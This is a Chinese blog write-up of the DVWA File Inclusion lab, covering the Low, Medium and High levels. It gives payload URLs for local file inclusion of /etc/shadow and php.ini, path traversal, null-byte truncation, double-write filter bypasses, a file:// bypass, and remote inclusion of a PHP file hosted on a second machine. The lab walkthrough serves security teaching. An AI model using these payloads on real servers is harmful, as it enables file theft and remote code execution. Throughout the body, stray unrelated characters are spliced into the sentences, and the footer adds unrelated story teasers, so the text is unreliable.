DVWA-File Inclusion(文件包含)

本系列文集:DVWA學(xué)習(xí)筆記

文件包含漏洞演熟,是指當(dāng)服務(wù)器開啟allow_url_include選項(xiàng)時(shí)景描,就可以通過php的某些特性include()堰乔,require()万哪,include_once()侠驯,require_once()利用url去動(dòng)態(tài)包含文件,此時(shí)如果沒有對(duì)文件來源進(jìn)行嚴(yán)格審查奕巍,就會(huì)導(dǎo)致任意文件讀取或者任意命令執(zhí)行吟策。文件包含漏洞分為本地文件包含漏洞與遠(yuǎn)程文件包含漏洞,遠(yuǎn)程文件包含漏洞是因?yàn)殚_啟了php配置中的allow_url_fopen選項(xiàng)(選項(xiàng)開啟之后的止,服務(wù)器允許包含一個(gè)遠(yuǎn)程的文件)檩坚。

文件包含分類:
LFI:本地文件包含(Local File Inclusion) 
RFI:遠(yuǎn)程文件包含(Remote File Inclusion)
與文件包含有關(guān)的函數(shù):
 include():只有代碼執(zhí)行到該函數(shù)時(shí)才會(huì)包含文件進(jìn)來,發(fā)生錯(cuò)誤時(shí)只給出一個(gè)警告并繼續(xù)向下執(zhí)行诅福。
 include_once():和 include()功能相同匾委,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次氓润。
 require():只要程序執(zhí)行就包含文件進(jìn)來赂乐,發(fā)生錯(cuò)誤時(shí)會(huì)輸出錯(cuò)誤結(jié)果并終止運(yùn)行。
 require_once():和 require()功能相同咖气,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí)挨措,程序只調(diào)用一次。
相關(guān)的 php.ini 配置參數(shù):
allow_url_fopen = on (默認(rèn)開啟) 
allow_url_include = on (默認(rèn)關(guān)閉)

遠(yuǎn)程文件包含是因?yàn)殚_啟了 php 配置中的 allow_url_fopen 選項(xiàng)(選項(xiàng)開啟之后崩溪,服務(wù)器允許包含一個(gè)遠(yuǎn)程的文件)浅役。

Low:

clipboard.png

分析:
服務(wù)器端對(duì)page參數(shù)沒有做任何的過濾跟檢查。
服務(wù)器期望用戶的操作是點(diǎn)擊下面的三個(gè)鏈接悯舟,服務(wù)器會(huì)包含相應(yīng)的文件担租,并將結(jié)果返回。

clipboard (1).png

tips:服務(wù)器包含文件時(shí)抵怎,不管文件后綴是否是php奋救,都會(huì)嘗試當(dāng)做php文件執(zhí)行,如果文件內(nèi)容確為php反惕,則會(huì)正常執(zhí)行并返回結(jié)果尝艘,如果不是,則會(huì)原封不動(dòng)地打印文件內(nèi)容姿染,所以文件包含漏洞常常會(huì)導(dǎo)致任意文件讀取與任意命令執(zhí)行”澈ィ現(xiàn)實(shí)中秒际,惡意的攻擊者是不會(huì)乖乖點(diǎn)擊這些鏈接的,因此page參數(shù)是不可控的狡汉。

點(diǎn)擊file1.php娄徊,觀察到url為:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file1.php

Exploit
1.本地文件包含

構(gòu)造url:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=/etc/shadow

clipboard (2).png

現(xiàn)報(bào)錯(cuò)信息,顯示沒有這個(gè)文件盾戴,說明不是服務(wù)器系統(tǒng)不是Linux寄锐,但同時(shí)暴露了服務(wù)器文件的絕對(duì)路徑D:\phpStudy\PHPTutorial\WWW\DVWA-1.9\

構(gòu)造url(絕對(duì)路徑):
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini

成功讀取了服務(wù)器的php.ini文件。

clipboard (3).png

構(gòu)造url(相對(duì)路徑):
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../DVWA-1.9/php.ini

加這么多..\是為了保證到達(dá)服務(wù)器的D盤根目錄尖啡,可以看到讀取是成功的橄仆。

clipboard (4).png

讀取phpstudy探針文件進(jìn)行信息搜集
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../../WWW/l.php

clipboard (5).png

同時(shí)在讀取上面的php.ini文件時(shí),我們看到衅斩,配置文件中的magic_quote_gpc選項(xiàng)為off盆顾。

在php版本小于5.3.4的服務(wù)器中,當(dāng)magic_quote_gpc選項(xiàng)為off時(shí)畏梆,我們可以在文件名中使用%00進(jìn)行截?cái)嗄埽簿褪钦f文件名中%00后的內(nèi)容不會(huì)被識(shí)別,即下面兩個(gè)url是完全等效的具温。

http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../dvwa/php.ini 
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../dvwa/php.ini%002
clipboard (6).png

2.遠(yuǎn)程文件包含

當(dāng)服務(wù)器的php配置中蚕涤,選項(xiàng)allow_url_fopen與allow_url_include為開啟狀態(tài)時(shí),服務(wù)器會(huì)允許包含遠(yuǎn)程服務(wù)器上的文件铣猩。如果對(duì)文件來源沒有檢查的話揖铜,就容易導(dǎo)致任意遠(yuǎn)程代碼執(zhí)行。

在遠(yuǎn)程服務(wù)器192.168.0.20上傳一個(gè)phpinfo.txt文件达皿,內(nèi)容如下:
<?php phpinfo();?>

構(gòu)造以下url天吓,成功在服務(wù)器上執(zhí)行了phpinfo()函數(shù)。
127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=http://192.168.0.20/phpinfo.txt

Medium :

clipboard (7).png

str_replace(find,replace,string,count)
圖片.png
eg:
把字符串 "Hello world!" 中的字符 "world" 替換為 "Shanghai":
<?php
echo str_replace("world","Shanghai","Hello world!");
?>

分析:
增加了str_replace函數(shù),將以下字符串替換為空峦椰。

【http://】龄寞,【https://】 ,【../】 汤功, 【..\】

Exploit
使用str_replace函數(shù)是極不安全的物邑,可以使用雙寫繞過替換規(guī)則。
例如page=htthttp://p://192.168.0.20/phpinfo.txt時(shí)滔金,str_replace函數(shù)會(huì)將http://刪除色解,于是page=http://192.168.0.20/phpinfo.txt,成功執(zhí)行遠(yuǎn)程命令餐茵。
同時(shí)科阎,因?yàn)樘鎿Q的只是../、..\忿族,所以對(duì)采用絕對(duì)路徑的方式包含文件是不會(huì)受到任何限制的锣笨。

1.本地文件包含

絕對(duì)路徑不受任何影響蝌矛,讀取配置文件成功。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini

相對(duì)路徑的利用以下payload,讀取配置文件成功错英。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=..././..././..././DVWA-1.9/php.ini

2.遠(yuǎn)程文件包含

構(gòu)造以下payload入撒,遠(yuǎn)程執(zhí)行命令成功。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=htthttp://p://192.168.0.20/phpinfo.txt

High:

clipboard (8).png

分析:
High 的代碼使用了fnmatch()函數(shù)檢查page參數(shù)走趋,要求page參數(shù)的開頭必須是file衅金,服務(wù)器才會(huì)去包含相應(yīng)的文件。

Exploit
High 的代碼規(guī)定只能包含file開頭的文件簿煌,看似安全,不幸的是我們依然可以利用file協(xié)議繞過防護(hù)策略鉴吹。
Tips:因?yàn)?fnmatch 函數(shù)適用于 PHP >= 4.3.0姨伟,因此 php 版本高于這個(gè)才能利用,否則會(huì)出現(xiàn)打不開 high 等級(jí)頁面豆励。

構(gòu)造如下url夺荒,成功讀取了服務(wù)器的配置文件。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file://D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini

clipboard (9).png

至于執(zhí)行任意命令良蒸,需要配合文件上傳漏洞利用技扼。首先需要上傳一個(gè)內(nèi)容為php的文件,然后再利用file協(xié)議去包含上傳文件(需要知道上傳文件的絕對(duì)路徑),從而實(shí)現(xiàn)任意命令執(zhí)行嫩痰。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末剿吻,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子串纺,更是在濱河造成了極大的恐慌丽旅,老刑警劉巖,帶你破解...
    沈念sama閱讀 222,183評(píng)論 6 516
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件纺棺,死亡現(xiàn)場(chǎng)離奇詭異榄笙,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)祷蝌,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,850評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門茅撞,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人巨朦,你說我怎么就攤上這事米丘。” “怎么了罪郊?”我有些...
    開封第一講書人閱讀 168,766評(píng)論 0 361
  • 文/不壞的土叔 我叫張陵蠕蚜,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我悔橄,道長(zhǎng)靶累,這世上最難降的妖魔是什么腺毫? 我笑而不...
    開封第一講書人閱讀 59,854評(píng)論 1 299
  • 正文 為了忘掉前任,我火速辦了婚禮挣柬,結(jié)果婚禮上潮酒,老公的妹妹穿的比我還像新娘。我一直安慰自己邪蛔,他們只是感情好急黎,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,871評(píng)論 6 398
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著侧到,像睡著了一般勃教。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上匠抗,一...
    開封第一講書人閱讀 52,457評(píng)論 1 311
  • 那天故源,我揣著相機(jī)與錄音,去河邊找鬼汞贸。 笑死绳军,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的矢腻。 我是一名探鬼主播门驾,決...
    沈念sama閱讀 40,999評(píng)論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼多柑!你這毒婦竟也來了奶是?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,914評(píng)論 0 277
  • 序言:老撾萬榮一對(duì)情侶失蹤顷蟆,失蹤者是張志新(化名)和其女友劉穎诫隅,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體帐偎,經(jīng)...
    沈念sama閱讀 46,465評(píng)論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡逐纬,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,543評(píng)論 3 342
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了削樊。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片豁生。...
    茶點(diǎn)故事閱讀 40,675評(píng)論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖漫贞,靈堂內(nèi)的尸體忽然破棺而出甸箱,到底是詐尸還是另有隱情,我是刑警寧澤迅脐,帶...
    沈念sama閱讀 36,354評(píng)論 5 351
  • 正文 年R本政府宣布芍殖,位于F島的核電站,受9級(jí)特大地震影響谴蔑,放射性物質(zhì)發(fā)生泄漏豌骏。R本人自食惡果不足惜龟梦,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,029評(píng)論 3 335
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望窃躲。 院中可真熱鬧计贰,春花似錦、人聲如沸蒂窒。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,514評(píng)論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽洒琢。三九已至秧秉,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間衰抑,已是汗流浹背福贞。 一陣腳步聲響...
    開封第一講書人閱讀 33,616評(píng)論 1 274
  • 我被黑心中介騙來泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留停士,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 49,091評(píng)論 3 378
  • 正文 我出身青樓完丽,卻偏偏與公主長(zhǎng)得像恋技,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子逻族,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,685評(píng)論 2 360

推薦閱讀更多精彩內(nèi)容

  • 文檔:http://www.freebuf.com/articles/web/119150.html File I...
    BerL1n閱讀 2,882評(píng)論 0 2
  • DVWA-1.9系列一共分為10個(gè)功能模塊: Brute Force(暴力破解) Command Injectio...
    網(wǎng)絡(luò)安全自修室閱讀 1,367評(píng)論 0 0
  • 文件包含 程序開發(fā)人員一般會(huì)把重復(fù)使用的函數(shù)寫到單個(gè)文件中蜻底,需要使用某個(gè)函數(shù)時(shí)直接調(diào)用此文件,而無需再次編寫聘鳞,這中...
    二潘閱讀 8,348評(píng)論 2 4
  • DVWA實(shí)踐 Web漏洞原理 1. DVWA環(huán)境搭建 Warmpserver+DVWA 2. Brute Forc...
    JasonChiu17閱讀 3,765評(píng)論 0 19
  • 庹亞軍 公司:寧波貞觀電器有限公司 組別:第235期 利他一組 【日精進(jìn)打卡第99天】 【知~學(xué)習(xí)】 【行~實(shí)踐】...
    tyj小電工閱讀 98評(píng)論 0 0